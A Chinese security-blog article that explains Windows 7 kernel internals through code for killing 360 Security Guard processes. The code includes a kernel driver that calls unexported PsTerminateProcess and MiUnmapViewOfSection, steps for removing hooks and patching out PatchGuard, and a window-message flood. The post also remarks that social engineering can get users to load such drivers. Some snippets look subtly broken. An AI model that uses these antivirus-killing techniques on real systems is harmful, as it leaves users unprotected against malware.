危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2308 浏览22661126

再谈对抗360安全卫士

继去年笔者在博客上发表几篇文章之后,这段时间除了繁忙的日常事务之外,又阅读了诸多高手们的文章。随着学习研究的深入,更加深切的体会到自己在技术方面的匮乏。于是,我便再次以360安全卫士(在x86/x64的Windows7系统上)为研究对象,将自己最近一个时期学习的知识融入其中,以不同的几种方式来对抗360,写出来和大家分享一下。笔者的目的不在于说用几种方式杀掉360的进程,而是在于和广大读者一起讨论Windows内核知识,与大家共同进步。

恢复InlineHookKiFastCallEntry法

在之前博客上,笔者分析了恢复InlineHookKiFastCallEntry来对抗腾讯电脑管家、360安全卫士的方法,就程序本身来说,还是比较好理解的,并且也已提供给大家,在这里便不再赘述了。但当时只是对程序做出了分析,并没有讨论为什么这样做可以结束360进程,这里顺便说一下。

对于常见的Ring3层的病毒,可以使用OpenProcess与TerminateProcess的组合来干掉病毒进程,但是想要这么干掉360的进程,显然是行不通的。这里以TerminateProcess为例,分析一下它的执行过程。此API实际上是位于kernel32.dll模块中,然后又进一步调用ntdll.dll模块中的NtTerminateProcess函数,该函数是一个存根函数,它通过ntdll.dll中的KiFastSystemCall来执行SYSENTER指令,然后进入了Ring0层,通过系统服务号来查找调用原生的(nt!)NtTerminateProcess例程,从而结束指定进程。

然而,现实情况是,360安全卫士做了一个InlineHookKiFastCallEntry,劫持了正常的系统调用,当360的NtTerminateProcess发现结束的是自己的进程时,必然会拒绝。这种方法与传统的HookSSDT相比,更具有隐蔽性,所以我之前说更不容易发现360Hook了哪些函数。

另一个好处是,让一些试图恢复SSDT来攻击安全软件的Rootkit失去了作用。如图1所示,用PCHunter发现的“从int2e/sysenter到ssdt表路径上检测到钩子”。可惜的是,钩子并无保护,被恢复之后,我们便可以“任性”的在任务管理器中结束所有360的进程,这正是恢复系统原始调用的最好诠释。图2形象的说明了这个过程。

进程线程法

先来看一张Windows内核空间概念图,如图3所示。这里插一段题外话,相信很多人在初学时都和我一样,有这样的困惑:为什么同样名字的函数,如TerminateProcess,会有Zw和Nt两个版本呢?让我们直接反汇编来解答这个问题。


kduZwTerminateProcess
nt!ZwTerminateProcess:
83e4e43cb872010000
83e4e4418d542404
83e4e4459c
mov
lea
eax,172h
edx,[esp+4]
pushfd
push
call
83e4e4466a08
8
83e4e448e8a10b0000
83e4e44dc20800
nt!KiSystemService(83e4efee)
8
ret
kduNtTerminateProcessl80
nt!NtTerminateProcess:
8406d9bf8bff
mov
edi,edi
8406d9c155
push
mov
sub
ebp
8406d9c28bec
ebp,esp
8406d9c483ec10
8406d9c753
esp,10h
push
push
mov
mov
mov
ebx
8406d9c856
esi
8406d9c9648b3524010000
8406d9d08b5e50
8406d9d38a863a010000
esi,dwordptrfs:[124h]
ebx,dwordptr[esi+50h]
al,byteptr[esi+13Ah]
……
……


总的来说,Zw*()是将系统服务号传递给eax,经过一系列操作,通过KiSystemService例程来实现系统调用,这是合乎微软规定的一个过程;而Nt*()则没有这个过程,是直接移到系统调用,并实现了具体的功能,更详细来说,NtTerminateProcess调用了PspTerminateThreadByPointer等更加底层的API。

我们可以看到,在系统调用以下,有许多的管理器,其中包含大量的实现关键功能的API,尽管它们很多都是未文档化的,但我们只要使用合理,便可以绕过360的Hook,在不恢复Hook的情况下杀掉360进程。

既然是杀掉进程,我们自然将目光放到Ps*()例程中。刚才我们提到,直接调用NtTerminateProcess肯定是不可行的,那么首选的函数应该是PsTerminateProcess,其定义如下,非常的简单:PsTerminateProcess(INPEPROCESSProcess,INNTSTATUSExitStatus);

在XP系统中,PsTerminateProcess直接调用PspTerminateProcess去实现具体功能;而在Windows7系统中没有发现PspTerminateProcess函数,而是直接在PsTerminateProcess中实现了具体的功能,调用了PspTerminateAllThreads,顾名思义,结束进程的方法正是杀掉所有线程。为获得PsTerminateProcess第一个参数,需进行以下讨论。

在图3中我们看到的Hal(硬件抽象层)位于硬件之上,作用是屏蔽硬件的差别;Hal之上即为内核模块ntoskrnl,它的上层部分称为执行体,负责管理与策略相关的功能,进程与线程在执行体上的数据结构是EPROCESS与ETHREAD;下层部分称为微内核,主要实现了操作系统的核心机制,进程与线程在微内核上的数据结构是KPROCESS与KTHREAD。查看一下Win7系统上的EPROCESS结构体中对我们有用的部分:


kddtnt!_EPROCESS
+0x000Pcb
:_KPROCESS//指向KPROCESS
……
……
+0x0b4UniqueProcessId:Ptr32Void//进程ID
+0x0b8ActiveProcessLinks:_LIST_ENTRY//进程链表
……
……
+0x16cImageFileName
+0x188ThreadListHead
:[15]UChar//进程名
:_LIST_ENTRY//线程链表


这四个结构体都是十分复杂的,大家可以自己去调试,这里我们的目的是通过360的进程名获得PID,程序可以是这样的:


NTSTATUSGet360pid(UCHAR*uname)
{
PEPROCESSpEprocess=NULL;
PEPROCESSpFirstEprocess=NULL;
ULONGulProcessName=0;
ULONGulProcessId=0;
intobjectpid;
pEprocess=PsGetCurrentProcess();//获得EPROCESS
pFirstEprocess=pEprocess;
while(pEprocess!=NULL)
{
ulProcessName=(ULONG)pEprocess+0x16c;//获得进程名
ulProcessId=*(ULONG*)((ULONG)pEprocess+0xb4);//获得PID
if(strstr(ulProcessName,uname))//匹配360进程名
{
}
objectpid=ulProcessId;//获得360PID
pEprocess=(ULONG)(*(ULONG*)((ULONG)pEprocess+0xb8)-0xb8);//遍历进程链表
if(pEprocess==pFirstEprocess||(*(LONG*)((LONG)pEprocess+0xb4))<0)
{
break;
}
}
returnobjectpid;
}
NTSTATUSKillByPid(INULONGpid)
{
NTSTATUSst=STATUS_SUCCESS;
PEPROCESSeprocess=NULL;
NTSTATUSExitStatus=0;
st=PsLookupProcessByProcessId(pid,eprocess);
ObDereferenceObject(eprocess);
st=PsTerminateProcess(eprocess,ExitStatus);
returnst;
}
在DriverEntry中调用:
KillByPid(Get360pid(360Tray));
KillByPid(Get360pid(360sd));
KillByPid(Get360pid(ZhuDongFangYu));
KillByPid(Get360pid(360rp));
KillByPid(Get360pid(PCHunter));


这里不得不提到Windows句柄与对象机制。有一个被称为Cid句柄表的概念,Cid句柄表没有加入到系统的句柄表链表中,它保存了进程与线程的对象地址,我们知道的PsLookupProcessByProcessId、PsLookupThreadByThreadId等函数正是利用Cid句柄表这一机制,通过传入的PID来获得相应对象的地址,而对象又有一个引用计数的问题,刚才打开了一个对象,然后就要调用ObDereferenceObject减去这个计数。

为什么要尝试一下PCHunter呢?图4为360的InlineHookKiFastCallEntry与PCHunter的InlineHookNtTerminateProcess、InlineHookNtTerminateThread。PCHunter采用了InlineHookNtTerminateProcess与NtTerminateThread保护进程,看来PsTerminateProcess也可以躲过这个钩子。但对360这个装机量巨大的安全软件来说,在系统调用以下,似乎未做任何处

理,被这样一个简单程序结束进程,这种情形还是有些欠妥的,由于加载驱动后瞬间结束进程,故无法截图验证。但笔者希望我们不要到这里浅尝辄止,下面和大家继续探索。

图4

由于PspTerminateAllThreads是基于PspTerminateThreadByPointer实现的,我们重点看PspTerminateThreadByPointer的功能。



kduPspTerminateThreadByPointerl80nt!PspTerminateThreadByPointer://是当前线程
84066040ff750c
84066043e842a00100
//不是当前线程
84066090687b400984
84066095685e400984
8406609a682f400984
8406609f53
push
call
dwordptr[ebp+0Ch]
nt!PspExitThread(8408008a)
push
offsetnt!PspExitNormalApc(8409407b)
push
push
push
push
push
call
offsetnt!PspExitApcRundown(8409405e)
offsetnt!PsExitSpecialApc(8409402f)
ebx
840660a0ff7508
840660a356
dwordptr[ebp+8]
esi
840660a4e84a0de6ff
840660a96a02
840660ab53
nt!KeInitializeApc(83ec6df3)//初始化Apc
push
push
push
push
call
2
ebx
840660ac56
esi
840660ad56
esi
840660aee86367e6ff
……
nt!KeInsertQueueApc(83ecc816)//插入Apc
……


PspTerminateThreadByPointer先判断如果是当前线程,调用PspExitThread结束线程;如果不是当前线程,则由KeInsertQueueApc插入Apc,插入的是PsExitSpecialApc、PspExitApcRundown、PspExitNormalApc,最后仍然调用PspExitThread达到目的。其后仍然是一个非常复杂的过程,简要的说,PspExitThread要处理该线程相关的跨线程引用、线程定时器、Apc、清除地址空间等等工作,再调用KeTerminateThread函数,涉及了线程调度的概念,再调用KiSwapThread函数,KiSwapThread交出线程控制权,并且再也不会得到控制权,因此,KeTerminateThread永不返回,PspExitThread也不返回,线程调度器再也不会调用这个线程了,可以说自此这一线程真正终止了。

还记得以前看黑防高手们的文章,往往只说一句“插Apc”,然后就是一堆代码,让当时的我不明就里,所以我希望搞清楚为何插入Apc能结束线程。

要从中断说起,中断描述符表(IDT)是将每个中断与处理该中断的服务例程关联了起来,它们主要是处理与硬件相关的内容。此外,Windows定义了一个中断请求级别(IRQL),

如表1所示。

表1

IRQL有0-31个级别,数值越大,优先级越高。普通线程运行在PASSIVE_LEVEL级别,APC_LEVEL仅比PASSIVE_LEVEL级别高,因此,插入Apc可以结束掉线程。运行在DISPATCH_LEVEL的代码,有可能进行线程调度(比如KiSwapThread),也有可能是Dpc(比如定时器,以前讨论过监视Hook是否被恢复)。3-31涉及硬件中断,不再讨论。

另一个实际应用是,在Hook中使用KeRaiseIrqlToDpcLevel()将IRQL提升到DISPATCH_LEVEL可以防止被其他线程打断造成BSoD,但只适用于单核CPU;在多核CPU上,可以使用自旋锁,使其他处理器总是在“空转”,检查自旋锁的状态,直到该锁被释放。自旋锁总是运行在DISPATCH_LEVEL或更高的级别。伪代码如下:


KeInitializeSpinLock(spinlock);//初始化自旋锁
KeAcquireSpinLock(spinlock,oldirql);//获得自旋锁
WPOFF();//关闭写保护
Hook();
WPON();//打开写保护
KeReleaseSpinLock(spinlock,oldirql);//释放自旋锁


总之,要想实现自己的MyPsTerminateProcess,应当利用PsLookupProcessByProcessId获得的进程eprocess,遍历进程所有线程(可以用PsGetNextProcessThread,也可以用上面提到的ThreadListHead),把每个线程都用PspTerminateThreadByPointer来结束掉。要想实现自己的MyPspTerminateThreadByPointer,就应该对每个线程都插入一个Apc,从而结束掉所有线程,也就达到了杀掉进程的目的。

内存法

创建新进程时一个很重要的工作就是创建地址空间,PspCreateProcess先调用MmCreateProcessAddressSpace创建进程地址空间,再调用MmInitializeProcessAddressSpace来初始化地址空间,我们需要关注的一个重要过程是在新进程中映射内存区对象。

MmCreateSection函数可以创建一个内存区对象,但为了可以使用该对象,必须将其映射视图,在系统服务例程中由NtMapViewOfSection来执行,在内存管理器Mm*()中对应的例程是MmMapViewOfSection。相反的,有一个解除映射的过程,NtUnMapViewOfSection/MmUnMapViewOfSection皆调用MiUnMapViewOfSection来实现具体的功能。这里,假设我们可以解除某进程的内存区对象映射视图,那么就可以达到干掉进程的目的。请看代码:


NTSTATUSKillByPid(intpid)
{
NTSTATUSst;
PVOIDp=(PVOID)0x400000;
PEPROCESSeprocess=NULL;
st=PsLookupProcessByProcessId(pid,eprocess);
ObDereferenceObject(eprocess);
st=MiUnmapViewOfSection(eprocess,p,0);
returnst;
}


与上面的代码相同,在DriverEntry中调用KillByPid(),其中调用Get360pid()来获得360进程ID,只是在KillByPid()中换成了MiUnmapViewOfSection来达到目的。其中,PsTerminateProcess与MiUnmapViewOfSection皆未导出,我们可以学习黑防高手的搜索特征码的方法,但我们这里只研究Windows7系统,为了实用与简化,在程序中都是用“已导出API+偏移”的方法,区别于直接硬编码,这种方法虽然技术含量不高,但可以适用于所有运行着Windows7系统的电脑。还有,在列出的程序中省掉了一些非必需的步骤,详见给出的代码。图5为运行本程序后360杀毒的报错。


关于Windows7x64上的360安全卫士

提到Win64的内核,PatchGuard是一个绕不开的话题。大约自从WindowsVista(64位)系统开始,为了保证系统的安全性,引入了这一机制,使得我们自己编写的驱动不能再顺利的加载在内核当中。即使像360这样的安全公司花钱向微软购买了签名,其编写的驱动也不能再像x86系统那样进行内核Hook了。

但是这一切似乎难不倒黑客高手,援引国外高手的破解思路,突破PatchGuard需要修改winload.exe与ntoskrnl.exe,具体的不细说了,总体思路就是把有关数字签名校验机制与PatchGuard的相关部分jmp或nop掉。我们这里直接使用黑防提供的相关工具,先运行patch.exe,再运行“一键破解”程序,然后重启并选择废除数字签名校验机制与PatchGuard的那个选项,进入系统后便可以加载我们的驱动了。拿出刚才说过的PsTerminateProcess杀360的程序,做如下修改:

1.重新计算PsTerminateProcess的地址。

2.在Windows7x64上的EPROCESS如下,在对应的位置要做修改。


kddtnt!_EPROCESS
+0x000Pcb
:_KPROCESS
……
……
+0x180UniqueProcessId:Ptr64Void
+0x188ActiveProcessLinks:_LIST_ENTRY
……
……
+0x2e0ImageFileName
:[15]UChar


3.这是最重要同时也是最容易被忽略的一点,这里是64位系统,必须要将所有的ULONG改为ULONG64才可以。

修改后的程序如期的在Windows7x64上杀掉了360的相关进程。

但是在实际应用当中,上述过程略显繁琐了。由于没有HookShadowSSDT,我们可以尝试窗口攻击,代码如下:


intAPIENTRYWinMain(HINSTANCEhInstance,
HINSTANCEhPrevInstance,
LPSTRlpCmdLine,
intnCmdShow)
{
while(1)//持续发送关闭消息,消耗系统大量资源
{
EnumWindows(EnumWindowsProc,0);
}//枚举所有窗口
return0;
}
BOOLCALLBACKEnumWindowsProc(HWNDhwnd,LPARAMlParam)
{
charwtitle[512];
GetWindowText(hwnd,wtitle,sizeof(wtitle));
if(strstr(wtitle,360杀毒)||strstr(wtitle,360安全卫士))//查找360窗口,发送关
闭消息
{
::SendMessage(hwnd,WM_CLOSE,0,0);
::SendMessage(hwnd,WM_DESTROY,0,0);
::SendMessage(hwnd,WM_QUIT,0,0);
}
return1;
}


以管理员身份运行此程序,360安全卫士窗口闪退,360杀毒的窗口如图6所示,它们均失去了与用户交互的能力。

最后再提下360的进程保护机制,用PCHunter查看内核情况,发现360并没有像32位那样HookSSDT或是InlineHookKiFastCallEntry来保护进程,而是做了几个ObjectHook,如图7所示,当我们用PCHunter恢复这些钩子后,便可以在任务管理器中轻松结束360进程了。

结语

这里要感谢各位高手艰苦卓绝的探索;感谢潘爱民先生的《Windows内核原理与实现》、BillBlunden先生的《Rootkit:系统灰色地带的潜伏者》这两本专著。本文更加侧重于技术原理上的讨论,向广大读者普及信息安全知识,任何人不得使用本文提供的程序危害互联网。

笔者作为非计算机相关专业毕业的人员,凭借对信息安全事业的热爱才孜孜不倦的学习研究,虽然如此,笔者仍清醒的意识到自己与高手们还有很大差距。由于本文涉及的内容艰深庞杂,所以难免有不准确甚至是错误的地方,敬请批评指正。在笔者看来,360的内核高手们绝非没有认识到在系统调用之下还有很大的空间,他们应该是认为已经严密封锁了驱动入口,很难再加载驱动;但我们抛开从技术层面上绕过驱动防火墙不谈,使用社会工程学知识来骗过用户还不是那么困难的,因为绝大多数用户并不知晓驱动为何物,社工学也正是对准了信息系统中最薄弱的环节——人。所以说,没有绝对的安全,但我们应该努力做到最好。

2015年1月21日,微软召开了主题为“TheNextChapter”的Windows10发布会,展示了最新的Windows10系统的相关功能,并宣布所有Windows7、Windows8、WindowsPhone8.1用户可以在一年之内免费升级至Windows10,这让我们看到了微软变革的决心。

笔者完全有理由相信Windows10会取得巨大的成功,延续当今唯一一个兼具生产力与创意的操作系统平台的辉煌。在未来,希望我们能与Windows10一起,不畏艰险,迎难而上,只为一睹山巅之美。

(完)

相关推荐